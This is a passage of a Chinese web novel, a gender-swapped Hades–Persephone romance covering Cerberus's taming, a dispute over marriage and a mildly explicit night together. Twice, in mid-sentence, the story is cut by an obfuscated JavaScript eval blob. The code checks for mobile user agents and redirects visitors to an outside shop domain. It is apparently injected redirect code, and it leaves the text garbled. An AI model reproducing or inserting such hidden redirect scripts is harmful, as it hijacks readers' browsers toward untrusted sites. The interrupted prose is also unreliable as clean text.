当刻耳柏洛斯的利齿即将咬中珀瑟福时,他的身体以不可思议的角度扭曲,从攻击的缝隙中穿过,接着落在了怪物的脊背上。 “抓住你了!”珀瑟福快乐地笑道。 他手中出现了又..粗..又..长的藤蔓,以此困缚刻耳柏洛斯——尤其是紧箍它的那三个脑袋。 那就像是锁链一样。 地狱三头犬疯狂地扭动身体,试图将背上的入侵者给甩下来。它的咆哮声震动了冥界大门,连远处的亡灵都惊恐地四散逃窜。 珀瑟福像是骑着一匹不服驯养的野马,随着刻耳柏洛斯的动作调整姿势,始终稳稳地坐在它的脊背上。 他抓紧藤蔓,甚至开始哼起了小调,那轻快的旋律与这暴力的场景形成了荒诞的对比。 “你比那拥有百个头颅的拉冬要弱一些。”珀瑟福边躲避着刻耳柏洛斯回头咬他的攻击,边闲聊般地说道,“它也挺凶,还从无睡眠,不过它可没你这么讨厌我。” “对了,你们应该是亲兄弟吧?” 刻耳柏洛斯听不懂珀瑟福在说什么,可它总觉得这个该死的入侵者在嘲笑它,所以愤怒让它失去了理智,开始用身体撞击冥界大门的石柱,想要以此将珀瑟福撞下来。 石柱在撞击中颤抖着,碎石纷纷落下。 珀瑟福皱起眉头:“这样可不好,你会把哈蒂丝姐姐的家弄坏的,她还说好要跟我结婚。” 话音未落,珀瑟福就突然用力拉扯藤蔓,同时身体向后仰去。 刻耳柏洛斯感觉到脖子上传来的巨力,不由自主地抬起头来,露出了脆弱的咽喉。 就在此刻,珀瑟福从刻耳柏洛斯的背上一跃而下,落在它的正面。 他没有攻击,只是伸手轻轻按在它中间头颅的鼻子上。 “安静。” 珀瑟福说出这话的声音不高,却带着一种不容置疑的力量。 与此同时,哈蒂丝正沿着阿刻戎河岸向上游走去,黑色长袍的下摆轻轻拂过冥界灰暗的土地。 河水在她身旁静静流淌,水面倒映着冥界的昏暗天空,偶尔有亡灵的面孔在其中一闪而过,随即被水流吞没。 塔纳托斯报告的异常确实存在,越往上游,河水就变得越不安分,原本平滑如镜的水面出现了不自然的漩涡,水流的速度也在加快。 更加奇怪的是,河水中蕴含的怨念明显增强,那些未能安息的亡灵所残留的情绪就如同无形触手,试图将路过者拉入冰冷残酷的深渊。 哈蒂丝停下脚步,伸出双手悬于河面之上。 黑色的神力从她掌心涌出,与河水中的怨念碰撞、交融、安抚。 这也是她的权能——调和冥界的失衡,平稳亡灵的情绪。 “水流异常源于上游新增的怨灵群体。” 一道冷淡的声音倏地在哈蒂丝身后响起。 “那是一群在战争中死去的战士,他们拒绝接受死亡,仍执著于生前的仇恨。” 哈蒂丝转过来身,见到来者是熟悉的三位女神——纷争的厄里斯、机遇的赫卡忒和正义的忒弥斯。 她们不知为何聚在了一起,正站在不远处,显然已经观察了她有一会儿。 “看来你们也都知道了。”哈蒂丝收回神力。 原本哈蒂丝指的是冥河异常之事,可是唯恐天下不乱的厄里斯偏要误解她的意思。 “是呀,听说冥界来了位不同寻常的贵宾呢~”厄里斯欢快地蹦到哈蒂丝的身边,“哈哈哈,德墨忒尔之子、奥林匹斯最神秘的美少年珀瑟福——就睡在我们尊贵的冥王陛下的床上!这可真是一件大好事呀!” 哈蒂丝心肺骤停:“这是修普诺斯和塔纳托斯跟你说的?” 厄里斯:“对啊。虽然他们让我保密,但我已经传遍全冥界了,嘻嘻~” 哈蒂丝:“……” 为什么她会有这么一群下属? “抱歉,陛下,但您真的很在意吗?”厄里斯眨巴眨巴眼睛,“这么有趣的事情谁能忍得住不分享呢?而且说实话,我们都以为您真的会发誓要当处女神呢!” 哈蒂丝:“咳咳咳……” 这种感觉真的只有那么尴尬了。 一个厄里斯就够了,她都不敢想象奥林匹斯那帮神知晓此事后的反应。 “陛下,您真的已经决定要跟春神结婚吗?”三相的赫卡忒轻轻开口,声音如同从遥远地方传来的回声:“他似乎能改变冥界。” 赫卡忒说的没错,珀瑟福能把大地之上的生机带来地下世界,他——等等? 哈蒂丝猛然反应过来:“谁说我决定要跟珀瑟福结婚的?” 她记得跟珀瑟福说那番话时没别者在啊? 赫卡忒陷入了回忆,三个脑袋同时露出沉思的表情。 而厄里斯则是不假思索地答道:“是赫尔墨斯!” 好啊,居然是赫·尔·墨·斯! “那个骗子……我从未那么说过!” “啊?是吗?” 刹那间,哈蒂丝忍不住握紧拳头,想马上驾驭战车飞去奥林匹斯兴师问罪了。 最重要的是——虽然赫尔墨斯答应过她会好好完成任务,但这下子谁能保证他回去后会不会胡编乱造啊? 就像那所谓的‘结婚’一样! 即便她不久前才对珀瑟福提及过可以考虑结婚……可这两者的性质根本就不一样! “先暂且不提此事,哈蒂丝。”忒弥斯上前一步,天秤的虚影在她左手中微微倾斜,“生与死的界限不该被模糊,你是冥界的统治者,应当维护这份秩序,而不是破坏它。” 厄里斯咯咯笑起来:“这么严肃干什么?一段浪漫关系怎么能叫‘破坏秩序’呢?这明明是为咱们死气沉沉的冥界增添色彩!” 浪漫关系? 听起来居然有点儿可爱。 “这不是浪漫关系,我认为它更像是一个意外。”哈蒂丝说话的声音中带着自己都未曾察觉的迟疑。 “一个把春神从为他举办的宴会上直接拐回冥界的意外?”厄里斯挑眉,“陛下,您这‘意外’的尺度可真算是大呀~” “……” 哈蒂丝选择无视这嘴皮子利索的纷争女神,她转头看向阿刻戎河,继续用神力安抚那些不安的怨灵。 水流在她的影响下逐渐平缓,漩涡消失,河面恢复了往日的平静。 “我已经让赫尔墨斯通知德墨忒尔了,过几天我就会送珀瑟福回去。”哈蒂丝说道。 “几天?太可惜了!”厄里斯夸张地叹气,“那孩子多有意思啊,能让我们千年不变的冥王陛下打破原则……这样的存在,难道不值得多留一会儿吗?” 赫卡忒平静地说:“听起来他更像是个麻烦。” “这正是问题所在。”即使忒弥斯眼蒙黑布,也可以看出她表情严肃,“哈蒂丝,你我都知道规则的重要性,珀瑟福不属于这里。” 因此,他留于冥界就是对秩序的挑战。 哈蒂丝沉默了,忒弥斯的话击中了她内心的矛盾。 作为冥王,维护冥界秩序是她的首要职责,但作为对珀瑟福产生了特殊感情的神祇,她又渴望将他留在身边。 “我已经那么做了。”哈蒂丝说道。 “对呀,反正事情都发生了。”厄里斯连忙帮腔,“听说珀瑟福是自愿跟你回来的?那就更好了!” 赫卡忒无奈道:“这不妨碍他不属于我们这里。” “那就结婚啊?他们俩结合后就没有问题了吧……” 赫卡忒:“……” 忒弥斯:“……” 你是不是忘记了哈蒂丝还在这里? 然而哈蒂丝没有说什么,昨晚的记忆碎片般浮现于脑海中——珀瑟福在露台上靠近她的样子,他眼中闪烁的光芒,还有那辆在夜色中疾驰的战车。 她不禁想到,假如珀瑟福当时奋起反抗的话,那事情会如何发展呢? “情感会蒙蔽判断。”忒弥斯的声音如同敲响的警钟,“哈蒂丝,我理解你,可这值得吗?” 赫卡忒补充道:“忒弥斯说的对。而且,你了解珀瑟福吗?” 你了解他的真实想法和目的吗?他被母亲保护得很好,众神对他几乎一无所知。 一个如此神秘的存在突然闯入你的生活,这本身就需要警惕。 哈蒂丝心中波澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886608|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断。 忒弥斯的正义感,赫卡忒的谨慎,甚至是厄里斯那轻佻尖锐的怂恿,全都指向同一个方向——留下珀瑟福是一个错误。 那来无影的爱情好似真的不再麻痹她,它忽然去无踪了。 “好吧。”哈蒂丝揉了揉太阳穴,终于说道,“我不会再等那么久了,今天就送他回去。” 厄里斯失望地撇了撇嘴,但没有再劝。 赫卡忒微微点头,忒弥斯则露出欣慰的表情。 “明智的决定。” “那么此事就先这样吧,我得去继续解决冥河的怨灵问题了。”哈蒂丝说道,转身沿河岸前行,“之后我会立即处理珀瑟福的事。” 三位女神目送冥王离去。 当那抹身影消失在雾气里后,厄里斯忍不住开口:“你们觉得她真的会送他走吗?” “她说了她会。”忒弥斯回答。 “说的话和做的事往往是两回事。”厄里斯笑道,“尤其是涉及到爱情的时候。” 赫卡忒摇了摇头:“我能感觉到她的心已经动摇了。” “这正是有趣的地方,不是吗?”厄里斯挑了挑眉,面色新奇,“要知道那可是咱们向来禁欲的冥王陛下!无论结果如何,这都会是一个精彩的故事。” 忒弥斯叹了口气:“厄里斯,你总是热衷于混乱。” “而你总是太严肃。”厄里斯回敬道,“放松心,生活需要点意外,亲爱的姐妹们~” ——即使是在这死亡国度。 …… 哈蒂丝解决了冥河怨灵的问题,那是一群在战争中死去的战士,他们的灵魂因未能获得适当的葬礼而无法安息。于是她远程处理好了他们的遗骸,并安排了一场特殊的安抚仪式。 在她的调解下,怨灵们逐渐平静,斯提克斯河连带着其它被影响的冥河都恢复了正常。 这项工作花费了比预期更长的时间,当哈蒂丝返回时,冥界变得更加昏暗。 冥界只有夜晚,没有白天,从来都是如此。 哈蒂丝决定直接去找珀瑟福,告诉他必须即刻离开这里。 她能感知到珀瑟福此刻正在冥府大门口,想到那里还有危险的刻耳柏洛斯,她立即朝大门方向赶去,黑色长袍在身后飞扬不停。 珀瑟福怎么会去那儿呢?他是不知道地狱三头犬的本事吗? 珀瑟福现在怎么样了?千万别受伤…… 还未到达目的地,哈蒂丝就听到了声音——不是刻耳柏洛斯那标志性的咆哮,而是一种相当奇怪的声音。 那就像是重物被甩动时带起的风声,夹杂着压抑的呜咽。 当哈蒂丝转过最后一个拐角,看到冥界大门前的景象时,她停下了脚步,难以置信地睁大了眼睛。 刻耳柏洛斯,那只凶名传遍三界的冥界看门犬,同时也是让无数英雄与神明望而却步的恐怖怪物,此刻正像一只被逗弄的小狗一样被珀瑟福抓着尾巴甩着玩。 是的,甩着玩。 珀瑟福站在冥界大门前的空地上,手中抓着刻耳柏洛斯中间头颅下方的部位——那是最接近尾巴根部的位置。 他正以惊人的力量将这只体型庞大的三头犬甩成一个圈,刻耳柏洛斯的三个头颅在空中无助地摇晃,六条腿徒劳地蹬动,血盆大口中发出委屈又愤怒的呜咽。 最让哈蒂丝震惊的是珀瑟福的神情,他没有使出全力般的紧绷,更加没有战斗时的严肃,反而是一脸轻松悠闲,甚至还带着点玩味的笑意。 仿佛这不是在制服冥界最危险的守卫者,而是在玩一个十分有趣的游戏。 “叫你小家伙时就该好好听话啊,还不服气?那就再试一次!”珀瑟福对手中的刻耳柏洛斯说道,声音清晰可闻,“不过我得提醒你,这次我会甩得更快噢。” 刻耳柏洛斯发出低沉的咆哮声,可其中更多的是无奈,并非威胁。 显然,这样的‘游戏’已经进行了一段时间,而结果总是以三头犬的失败告终。 所以身为春神的他……原来竟拥有如此战斗力吗?她还真是白担心了。 她数次被他纯良又充满诱惑的外表所欺骗。 “珀瑟福你在干什么?快住手!”哈蒂丝终于从震惊中回过神来,连忙上前,内心隐隐不爽。 珀瑟福转过头来,看到她时眼睛一亮:“姐姐您终于回来了,我正跟刻耳柏洛斯玩呢!”然而,他没有马上放开可怜的地狱三头犬。 见状,哈蒂丝愈加坚定了要立刻把珀瑟福送回奥林匹斯的决定。 那个一时兴起的婚约也绝对要作废! “我想好了,珀瑟福,这肯定就是厄洛斯的恶作剧,我会去找他算账。”哈蒂丝直视那双瞬间变得黯淡的绿眸。 “厄洛斯的恶作剧?”珀瑟福用疑问的语气念了一遍这被她用了无数次的理由,微微歪头,“所以呢?” “姐姐不是还说过要考虑跟我结婚吗?” 怎么还是结婚的话题…… 即便春神确实相貌漂亮又会拿捏她心,但哈蒂丝知道事情不能再这样下去了,毕竟他拥有那么多面,而她万万不能因此迷失。 “……我觉得我们俩的婚事确实不能就这么随便地定下,要不然我还是把你送回你母亲身边吧。”哈蒂丝依然直视着珀瑟福,语速说得很快,生怕自己下一秒就会后悔,“以及,我说过了,放开刻耳柏洛斯。” 珀瑟福终于松开了手。 刻耳柏洛斯庞大的身躯在空中划过一道弧线,然后砰的一声重重落在地面,激起一片尘土。 它摇晃着站起来,三个头颅同时低垂,发出委屈的呜呜声,看向珀瑟福的眼神中带着一丝敬畏。 然而珀瑟福只是拍了拍手上的灰尘,接着靠近哈蒂丝,单手撑在她身侧的门边墙壁上,无边无际般的阴影带着压迫感来临。 哈蒂丝:“???” “为什么要说出那种话?” 哦,他又开始表演瞬间变脸了。 “难道哈蒂丝姐姐是不爱我了吗?”春神将脸埋在她的颈间,委屈巴巴地说道,“好难过啊,姐姐不要丢下我嘛,珀瑟福想跟温柔善良美丽的姐姐永远在一起呀。” 他姐姐、姐姐的叫个没完,还又装起来了,真是阴险狡猾。 哈蒂丝:“……” 痒得不行。 太、太闪耀了,好想答应他…… 不对!冷静,你绝对要保持冷静,哈蒂丝! 哈蒂丝在内心世界劝了自己半天,然后冷酷无情地一把推开珀瑟福。 “好。”她说道,“那我现在就送你回去?” 珀瑟福:“……” 这回轮到他无语了。 “刻耳柏洛斯想和我玩。”珀瑟福退后一步,状若轻松地解释道,“但它玩得有点粗鲁,所以我教了它一些规矩。” 为什么他要说这些?这是在解释吗? 而且这明显就是在转移话题。 哈蒂丝没有回复珀瑟福,她走近去查看了刻耳柏洛斯的情况。 值得庆幸的是,刻耳柏洛斯并没有受伤。它的皮毛完好无损,行动也依旧敏捷,只是精神上明显受到了打击——这个令众多生与死灵闻风丧胆的冥界守卫者,此时正像只被训斥的小狗一样躲在冥王身后,试图远离珀瑟福。 “你究竟是怎么做到的?”哈蒂丝忍不住发问,她了解刻耳柏洛斯的实力,它绝不可能轻易地被打败。 珀瑟福又是歪头,浅金色的卷发在幽蓝磷火下泛着微光:“就像这样啊。” 他走向刻耳柏洛斯,三头犬立即后退,但前者的速度明显更快,直接伸手按在了后者那中间头颅的鼻子上。 这个动作本该让刻耳柏洛斯暴怒,但它只是僵住了,六只眼睛中流露出复杂的情绪。 “您看,小家伙其实挺乖的。”珀瑟福微笑着说,揉了揉刻耳柏洛斯的鼻头,“这种动物很好搞定,只要让它明白谁更强,它就会听话了。” 哈蒂丝看着这一幕,不禁开始怀疑德墨忒尔藏珀瑟福的日子里是否在给他进行特殊教育。 他能轻松击败刻耳柏洛斯,将冥界最凶猛的守卫者当成玩具甩着玩——这展现出的是毫无疑问的强大实力和与外表不符的性格。 她能察觉到他在对待刻耳柏洛斯时带着强烈的兴奋感,以及胜负欲。 那实在是太过危险了。 珀瑟福注意到哈蒂丝的眼神变化,他收回了手。 刻耳柏洛斯如释重负地退到大门旁趴下,三个头颅都转向另一边,假装这对它来说什么都不重要。 “姐姐的表情好严肃。”珀瑟福走近哈蒂丝,“怎么了?是我和刻耳柏洛斯玩得太过了吗?我保证没伤到它。” “回归正题吧。”哈蒂丝不再任由他岔开话题,“珀瑟福,我现在就要送你回奥林匹斯。” 空气仿佛凝固了。 珀瑟福脸上的笑容渐渐消失:“就因为我那样对待刻耳柏洛斯?我真的只是在和它玩,我——” “停止。”哈蒂丝打断了他,以免留给自己心软的机会,“是因为你不属于这里。” “你是德墨忒尔之子,属于奥林匹斯。冥界不适合你。” 又是那种话。 真烦。 “可我想留在这里。”珀瑟福的声音低沉下来,“我想和哈蒂丝姐姐在一起,我属于您。” “我们才认识多久?”哈蒂丝叹了一口气,感觉自己现在坏极了,“珀瑟福,你真的应该回到你母亲身边,这对我们都好。” 哈蒂丝内心深处本就对珀瑟福有着某种特殊的感应,或许这就是命运,而这个想法让她感到极度排斥。 作为冥王,她习惯了掌控一切。死亡是确定的,秩序是明确的,冥界的规则由她制定。但感情——尤其是这种突如其来的、强烈的感情,已经数次令她失控。 珀瑟福沉默了片刻。 当他再次开口时,声音中带上了她从未听过的冷硬:“所以这次您确实是后悔了?” 后悔昨夜带他回来?后悔他们两个之间发生的一切? “我没有后悔。”哈蒂丝诚实地回答,“但我意识到我们都得恢复冷静,你需要回到你应有的生活中去,而我也需要重新考虑很多事情。” 一直跟他在一起的话她肯定会越来越沉迷于此,所以她想好了,必须得跟他分开,无论时间多久。 珀瑟福盯着哈蒂丝,翠绿色的眼睛在昏暗的光线中显得异常深邃。 那一刻,她清楚地捕捉了他眼里含有一种近乎评估的锐利,仿佛他在衡量她的决心,以此计算自己的下一步。 可转瞬间,那种眼神消失了,取而代之的是熟悉的、带着些许脆弱感的温柔。 “如果这是哈蒂丝姐姐的愿望……那我尊重。”珀瑟福轻声开口,垂下眼帘,“但我有一个请求。” “讲吧。” “请让我再待一晚。”珀瑟福抬头看来,双眸中闪烁着几近恳求的光芒,“就一晚。明天早上我就会离开,您不必感到为难。” 哈蒂丝犹豫不定,理智告诉她应该立即送他走,但只要一回到情感上……她就发现自己还是难以拒绝他。 “为什么还要再待一晚?”哈蒂丝问道。 “因为我想和姐姐好好告别。”珀瑟福温声回答,“我想记住您和冥界,请给我这个机会,好吗?” 就这样,哈蒂丝的心又被触动了。 她不断想起与珀瑟福在一起的事情,包括他在令她欢愉时的十指相扣和今早醒来后他在她身边的温暖,还有那句“珀瑟福真的好喜欢哈蒂丝姐姐”。 “好,就今晚。”哈蒂丝最终无可奈何地同意了,“明天早上我会送你离开。” 到时候她还要去找德墨忒尔、厄洛斯和赫尔墨斯,找前者是为了道歉,找后面那两个家伙则是为了算账。 真是想想就头疼啊…… 珀瑟福又露出了笑容:“感谢姐姐的理解,我保证不会让您后悔这个决定。” 他走上前来轻轻拥抱了哈蒂丝。 这个拥抱显得短暂而克制,一触即分,却成功地让她的心跳漏了一拍。 “我们走吧。”珀瑟福说道,很自然地牵起了哈蒂丝的手,“冥界的夜晚很美,我想和您一起欣赏。” 其实冥界永夜,阴森恐怖。 但是没关系。 5.第五章 其实宴会那夜并不是哈蒂丝与珀瑟福的初遇。 当珀瑟福刚出生时,德墨忒尔没把此事告诉任何神,除了哈蒂丝。 德墨忒尔十分信任哈蒂丝,便把她邀请来了自己建在某个深山老林里的宫殿,向她炫耀这个可爱又乖巧的孩子。 彼时的珀瑟福还是婴儿模样,正躺在用鲜花制作成的摇篮里酣睡,白中带粉的脸庞圆乎乎的,令哈蒂丝忍不住伸手捏了捏那团软肉,看着它变红。 小珀瑟福蹙了蹙眉,从睡梦中迷糊转醒,接着那双色泽朦胧的翠绿色眼睛望了过来。 他没有哭泣,仅是安静地看着她,两只小小的手差点握成拳头,手指好似无助地蜷缩。 “你好,小家伙。” “很抱歉打搅了你的睡眠时光。” 平日里总是面无表情的哈蒂丝轻勾嘴角,在面对新生的小春神时心软得一塌糊涂,连说话的声音和语气都温柔了起来。 “我叫哈蒂丝,是你母亲的姐姐,以后有什么事情都可以来找我。”她自我介绍道,然后想要收回手。 下一秒,哈蒂丝的动作就被阻止了。 她愣了愣,见到珀瑟福用小手抓住了她的手指。 那力气很小,仿佛只是微风轻轻划过,微不足道到令人发笑。 实际上哈蒂丝的确笑了,并且没再收回手,而是任由他抓着:“怎么了?小家伙。” 德墨忒尔还没有教过珀瑟福说话,可在哈蒂丝那样玩笑般问了后,他用不清晰的黏糊腔调开口了。 “哈……哈……蒂……丝……” 在哈蒂丝诧异的目光中,小珀瑟福认真而又努力地说出了她的名字。 …… 不过,她大概已经忘记了这事。 “哈蒂丝姐姐,您看那边,好漂亮!” 珀瑟福边牵着哈蒂丝的手,边指向远处,表情纯真得像是刚发现新玩具的孩子。 哈蒂丝顺着他所指的方向看去。 那是卡戎摆渡时船桨溅起的冥河之水,在幽暗环境中泛起了诡异的光泽,如果是别的奥林匹斯神肯定会觉得这如同是幽灵阴魂不散,居然会被春神评价为‘好漂亮’? “只是普通的水花而已,还行。”哈蒂丝面无表情,试图把注意力从珀瑟福紧握自己的手上移开。 她任由他牵着,这才是最离谱的。 该死的心动和爱情。 而且,这家伙自从得到‘最后一晚’的许可后,整个神就好像进入了一种奇妙的亢奋状态。 他带着她在冥界四处晃悠,看什么都觉得新鲜,问东问西没完没了,活像个叽叽喳喳的鸟雀。 她居然还是如之前那般纵容了他……算了,反正明天就好聚好散了。 “并不普通啊。”珀瑟福继续说道,语气真诚得让哈蒂丝怀疑他是不是在讽刺,“比我在家里见过的那些亮闪闪的宝石美多了!” ……德墨忒尔听到这话会打他的吧? 哈蒂丝忍不住瞥了他一眼:“你认真的?” “当然!”珀瑟福转头看来,眼中倒映着她的模样,“只要是和您在一起,连刻耳柏洛斯的咆哮声都像是音乐一样动听。” 有趣,刻耳柏洛斯要是知道了肯定也会不满的。 哈蒂丝知道他这是又开始讨她开心了,不免无奈地说:“珀瑟福,其实你不用这样,今晚只是告别而已。” 潜在意思就是她与他以后可能还会再见——当然,那得看她到时候怎么想。 她在对待这段突如其来的感情时纠结过头了。 “我知道。”珀瑟福突然停下脚步,两神差点撞在一起,“正因为是告别,所以才更要让姐姐记住我最好的样子。” 他歪头微笑,浅金色的卷发从肩头滑落:“毕竟明天之后,您可能就不会再想见我了,对吧?” 哈蒂丝:“……” 好家伙,不仅她的真实想法被看出来了,他还直接说了出来。 春神这话说得有点儿委屈,配上那张好看到犯规的脸,杀伤力直接翻倍。 刹那间,哈蒂丝感觉自己的理智又在疯狂预警了——警惕,这是陷阱,是春神的甜蜜圈套! 然而她的嘴却不受控制道:“不,我没说不想见你。” 不,哈蒂丝,你真的无可救药了。 她在内心对自己恨铁不成钢。 “真的吗?”珀瑟福眼睛一亮,立刻得寸进尺地凑近过来,“那姐姐的意思是……以后还会让我来冥界做客?” 他甚至故意弯下了腰,以一种表面卑微实则狡猾的姿态看进她的双眸。 扑通扑通扑通…… “我没——” “或者您来看我也行!” “珀瑟福——” “或者我们可以约在人间见面!我知道一个特别好的地方,那里的风信子开得——” “够了。”哈蒂丝忍不住伸手捂住这小破孩的嘴。 这触感温热柔软,让她下意识地想缩回手,却被他握住了手腕。 力道不轻不重,刚好让她不会感到疼痛又无法挣脱。 “姐姐的手好凉。”珀瑟福低头,嘴唇几乎贴着她的掌心说话,呼出的热气让她浑身一颤,“需要我帮您暖暖吗?” 哈蒂丝感觉自己的脸正在发烫。 幸好冥界光线昏暗,应该看不出来。 “之前我就想问了,难道德墨忒尔没教过你要和别者保持适当距离吗?”哈蒂丝摆出了严肃长辈的姿态,“尤其是异性。” 见状,珀瑟福无辜地眨了眨眼:“教过,但那是对别者啊。我喜欢您,想要追求您,所以这条规矩不适用于此。” 哈蒂丝:“……?” 真的没必要如此直白。 这逻辑无懈可击,她竟一时语塞。 “况且,昨晚我们之间的距离……”珀瑟福慢悠悠地补充,嘴角勾起一抹狡黠的笑,“可比现在近多了呢。” 哈蒂丝瞳孔地震。 所以说真的没必要如此直白啊! “那是个意外!”哈蒂丝强调道,顺便大力地抽回了自己的手,而他也没有阻止。 虽然她还在反驳,但至少这次没再使用‘厄洛斯的恶作剧’这种令他烦躁的借口了。 “对,意外,哈蒂丝姐姐怎样都是真理。”珀瑟福从善如流地点头,“所以今晚不会再有‘意外’了,对吧?” 不是,越来越过分了? “当然不会!”哈蒂丝斩钉截铁地即答,感觉自己胃疼得不行。 虽然昨晚他让她很爽,解锁了不少从未有过的体验,但她是正经的冥王,已经下定决心不能就此沉迷于漂亮男孩了! “好遗憾啊。”珀瑟福叹气,可眼底的笑意完全出卖了他,“那我可以最后再亲姐姐一下吗?” 嗯?等等,他怎么露出了可怜巴巴的表情? 又开始装了是吗,狡猾的家伙! 扑通扑通扑通…… 哈蒂丝:“……” 珀瑟福:“姐姐最好啦~” 哈蒂丝:“行。” 珀瑟福:“好耶~珀瑟福好喜欢哈蒂丝姐姐!” 该死,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892072|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是熟悉的话。 当唇上被印来轻吻之时,哈蒂丝觉得自己应该找个棺材躺进去,然后自动连神带棺埋入冥府地下最底端。 因为到头来她还是没出息地为他心软了。 话说回来—— “我以为你是要亲我的额头或者脸?” “但是姐姐没有拒绝我噢。” “……” 唉,行吧,狡猾的小鬼。 哈蒂丝在内心默默希望忒弥斯和赫卡忒别发现此事,因为她又忍不住了。 只不过这次,两神do到一半时她坐了上来,居高临下,以掌控者的身份按住了脸颊涨上..潮..red的他,然后deeper。 “姐、姐姐……”他好像越来越兴奋了,连春神象征物之一的藤蔓都凭空蹦了出来。 哇哦,真是奇异又壮观。 她边捂住他的嘴,边玩弄着,欢愉感比上一次还要强烈。 除了那些令人脸红心跳的日爱日未声响外,她只能听见他的那句言语。 ——“我爱您。” 次日清晨,冥王宫寝殿。 哈蒂丝一觉醒来,不仅腰酸背痛,身边还躺着跟她互相折腾了大半夜的春神。 珀瑟福宛若八爪鱼般抱着她,身上一片痕迹,藤蔓也未收回。 他呢喃着呓语:“来,姐姐,那样也可以啊……” 确实挺可以的。 哈蒂丝就这么沉默了。 她觉得自己大抵也是疯了,被他整的。 无法自控后的确能让她很爽,但在爽过之后……嘶,最重要的是,这一次明显是她更加主动。 哈哈哈哈,哈蒂丝觉得自己一定是疯了。 珀瑟福我对不起你,德墨忒尔我也对不起你。 刚好感知到赫尔墨斯再一次擅闯冥王宫,哈蒂丝在其推门而入的前一刻触碰虚空,把这不知是带着什么消息而来的神使丢进了异次元空间。 在从门外传来的赫尔墨斯的惨叫声中,哈蒂丝直面了被吵醒的珀瑟福,他睡眼惺忪,眼尾泛着浅红,看起来尤为可爱。 “早安。” 他原本清亮的声音变得沙哑,还将她抱得更紧,往她颈窝间蹭。 “姐姐昨夜好厉害,我完全甘拜下风呢。” 哈蒂丝:“……” 这下真的能好聚好散吗? 啊,心情好复杂噢。 与此同时,冥王宫内庭里,双子神又在偷懒下棋。 修普诺斯正思考着下一步棋子该往哪走,嘴上还不忘说道:“六分钟。” 塔纳托斯嘴里叼着根叶子:“四分半。” “赌注?” “偷宙斯的裤衩子,所有。” “换一个。” “下个月的值班。” “好。” 四分三十五秒之后,赫尔墨斯从花丛里一跃而出。 “可恶!干嘛每次都把我扔到那里面去啊?就不能换个地方吗!” 你这家伙擅闯冥王宫还挺有理啊? 塔纳托斯翻了个白眼,转回头对修普诺斯说道:“你又输了,哥哥。” “我知道。”修普诺斯落下一个白子,叫住了准备再度冲去找冥王的神使,“所以,赫尔墨斯,这回你带来了什么新消息?” 闻言,赫尔墨斯停在半空中,朝双子神眨了眨右眼。 他笑得甚是开心,眼中闪着八卦之光:“是好消息喔~关于冥王陛下、珀瑟福与德墨忒尔的!” 真想快点看见哈蒂丝和珀瑟福听到这个消息时的反应! 6.第六章 冥王宫寝殿内,哈蒂丝正试图从珀瑟福八爪鱼般的拥抱中挣脱出来。 “珀瑟福,松手。”她低声说道,语气中带着一丝无奈。 “不要。”珀瑟福嘟囔着,手臂又收紧了些,“想跟姐姐再抱一会儿。” “不行。”哈蒂丝掰开了他的手,“而且你也听见了,赫尔墨斯又来了。” 一听到赫尔墨斯的名字,珀瑟福眯了眯眼,眼神清醒得根本不像是刚睡醒。 “他又来干什么?”珀瑟福坐起身,浅金色的头发乱糟糟地翘着。 哈蒂丝看着珀瑟福身上那些明显的痕迹,忽然觉得昨晚的自己确实有点……过火。 但现在明显不是考虑这个的时候。 “最重要的是我今天就得送你回去。”哈蒂丝这么说着,起身开始穿衣,“你也收拾一下吧,我们等会儿先去见赫尔墨斯。” 鉴于之前她让神使去找德墨忒尔说明真相,哈蒂丝认为他今天肯定是带着这事的后续来的。 她猜测珀瑟福估计也是想到了这点,因为他正满脸不情愿,但还是听话地起床收拾了。 这次哈蒂丝穿了身金边黑袍,他也跟着换了件类似的,势必要跟她穿‘情侣装’,她对此表示无奈,可也由着他去了。 “走吧,珀瑟福。”哈蒂丝梳好头发后向门口走去,“应该是德墨忒尔让赫尔墨斯来找我要你。” “嗯……我都听您的。” 珀瑟福步履轻扬地跟在哈蒂丝身后,她手指动了动,莫名有点儿不习惯没他牵着手的感觉。 嘶……错觉,一定是错觉。 刚打开门,就见到神使正站在门口,眨巴着眼睛望过来。 “早上好!冥王陛下!”赫尔墨斯元气满满地朝面无表情的哈蒂丝打了个招呼,还歪过身子望向她身后的珀瑟福,“还有珀瑟福!咦,又穿情侣装啊?” 哈蒂丝:“……这不是情侣装。” “我懂~顺便,下次能不能别把我扔进异次元空间呀?全世界最好的冥王陛下~” 屡次擅闯冥王宫的家伙还好意思提要求? 哈蒂丝满头黑线:“没有下次了,我已经决定必须要加固冥王宫的防御屏障。” 闻言,赫尔墨斯大惊失色:“什么叫防御屏障?我又不是敌人或者小偷!” ……如果没记错的话,赫尔墨斯你应该就是盗窃之神吧?出生后干的第一件事就是偷了你哥哥阿波罗的牛。 哈蒂丝无力吐槽。 “话说。”她忽地记起了昨天厄里斯提到的某件事,盯着赫尔墨斯的眼神带上了危险的意味,“赫尔墨斯,谁允许你到处乱传我要跟珀瑟福结婚的?” 虽然她的确想过要不要跟珀瑟福结婚,但那是他们俩之间的事情,而且还没真的下定决心呢。 听到这话,珀瑟福歪头,不知道在想什么。 赫尔墨斯则是打了个激灵,尴尬而又不失礼貌道:“啊哈哈,那个,这不是看您和他确实有戏嘛……” 